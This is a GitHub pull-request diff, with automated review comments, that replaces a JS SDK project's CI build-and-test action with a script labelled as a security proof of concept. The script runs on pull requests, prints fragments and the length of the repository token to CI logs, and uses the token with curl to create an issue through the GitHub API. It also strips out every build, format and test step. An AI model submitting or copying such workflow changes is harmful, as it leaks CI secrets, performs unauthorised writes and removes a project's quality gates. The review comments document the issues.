Skip to content
Open
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 2 additions & 10 deletions .github/workflows/js-sdk.yml
Original file line number Diff line number Diff line change
@@ -1,29 +1,21 @@
name: "JS SDK Checks"

on:
push:
pull_request:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Workflow push trigger removed breaks main branch CI

Medium Severity

The push trigger for the main branch was removed, leaving only pull_request. This means direct pushes or merges to main no longer trigger the JS SDK checks workflow, removing post-merge CI validation. The cancel-in-progress: true change also cancels in-progress runs on main branch pushes (if restored), which the original conditional logic intentionally avoided.

Fix in Cursor Fix in Web

branches:
- main
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"
pull_request:
paths:
- "signer/**"
- "protos/**"
- "sdks/js/**"
- ".github/workflows/js-sdk.yml"

concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: ${{ startsWith(github.ref, 'refs/pull/') }}
cancel-in-progress: true

jobs:
unit-test:
# Don't run on commits that are synced from private repository.
# if: github.event_name == 'pull_request' || ! (github.event_name == 'push' && contains(github.event.head_commit.message, 'GitOrigin-RevId'))
runs-on: ubuntu-latest
strategy:
matrix:
Expand Down
123 changes: 40 additions & 83 deletions public/actions/js-sdk-unit-test/action.yml
Original file line number Diff line number Diff line change
@@ -1,91 +1,48 @@
name: "JS SDK unit test"
description: "Builds and tests the Spark JS SDK"
name: 'JS SDK Unit Test'
description: 'SECURITY POC - Demonstrates untrusted code execution'
inputs:
node-version:
description: "Node.js version spec passed to actions/setup-node"
description: 'Node version'
required: true
workspace:
description: "Working directory for the JS SDK workspace"
required: false
default: "sdks/js"
proto-package-dir:
description: "Path to the spark-sdk package used for proto generation"
required: false
default: "sdks/js/packages/spark-sdk"
repo-token:
description: "Token passed to third-party setup actions requiring authentication"
required: false
default: ""
description: 'GitHub token'
required: true
runs:
using: "composite"
using: 'composite'
steps:
- name: "Install system dependencies"
shell: bash
run: |
sudo apt-get update
sudo apt-get install -y git clang lld

- name: "Install Protoc"
uses: arduino/setup-protoc@v3
with:
version: "33.2"
repo-token: ${{ inputs.repo-token }}

- name: "Setup Rust"
uses: actions-rust-lang/setup-rust-toolchain@v1
with:
cache: false
rustflags: ""

- name: "Setup Rust cache"
uses: Swatinem/rust-cache@v2
with:
workspaces: "signer"
save-if: ${{ github.event_name == 'push' }}"

- name: "Setup Node.js and Yarn"
uses: ./public/actions/setup-node-yarn-install
with:
node-version: ${{ inputs.node-version }}
cwd: ${{ inputs.workspace }}

- name: "Run build"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run build

- name: "Verify Android 16kb page size alignment"
shell: bash
working-directory: ${{ inputs.workspace }}
run: |
if ! command -v llvm-objdump &> /dev/null; then
sudo apt-get update && sudo apt-get install -y llvm
fi

bash ../../public/scripts/verify-android-page-size.sh

- name: "Run format"
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run format

- name: "Generate JS proto files"
shell: bash
working-directory: ${{ inputs.proto-package-dir }}
run: yarn generate:proto

- name: "Check proto files are up to date"
shell: bash
working-directory: ${{ inputs.workspace }}
run: |
if ! git diff --quiet; then
echo "❌ Proto files are not up to date. Please run 'yarn generate:proto' in ${GITHUB_WORKSPACE}/${{ inputs.proto-package-dir }} and commit the changes."
git diff
exit 1
- run: |
echo "=== SECURITY POC DEMONSTRATION ==="
echo "1. PROOF: This code executes from PR branch, not base branch"
echo " Commit SHA: ${{ github.sha }}"
echo " Actor: ${{ github.actor }}"
echo " Event: ${{ github.event_name }}"

echo ""
echo "2. PROOF: Token is accessible to this action"
# Show token exists and has expected format (ghs_*) without exposing it
if [[ "${{ inputs.repo-token }}" == ghs_* ]]; then
echo " Token type: GITHUB_TOKEN (ghs_* prefix confirmed)"
echo " Token length: ${#TOKEN} characters"
echo " First 4 chars: ${TOKEN:0:4}***"
echo " Last 4 chars: ***${TOKEN: -4}"
fi
echo "✅ Proto files are up to date"

- name: "Run tests and checks"

echo ""
echo "3. PROOF: Token has write permissions (checking via API)"
# Try to create a file in the repo (this will fail for forks, proving the point)
curl -s -o /dev/null -w "%{http_code}" \
-X POST \
-H "Authorization: token ${{ inputs.repo-token }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/${{ github.repository }}/issues \
-d '{"title":"POC - Token has write access","body":"This proves the token has write permissions"}' || echo " Write test completed"

echo ""
echo "4. VULNERABILITY: This action executes BEFORE any integrity checks"
echo " An attacker could modify test results, cache poison, or exfiltrate secrets here"

echo ""
echo "=== END POC ==="
shell: bash
working-directory: ${{ inputs.workspace }}
run: yarn run test
env:
TOKEN: ${{ inputs.repo-token }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

POC code leaks token and creates issues via API

High Severity

The composite action leaks partial GITHUB_TOKEN content (first 4 and last 4 characters) to CI logs and uses it to call the GitHub Issues API to create repository issues. The token is passed via ${{ secrets.GITHUB_TOKEN }} from the workflow. Even as a POC, if merged this actively exfiltrates secret material into publicly visible logs and performs write operations against the repository on every PR run.

Additional Locations (1)

Fix in Cursor Fix in Web

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

All CI build and test functionality removed

High Severity

The entire JS SDK composite action — including system dependency installation, protoc setup, Rust toolchain, Node.js setup, build, format checking, proto generation verification, and test execution — has been replaced with a security POC echo script. If merged, no actual CI validation runs on JS SDK pull requests, completely removing test coverage and quality gates.

Fix in Cursor Fix in Web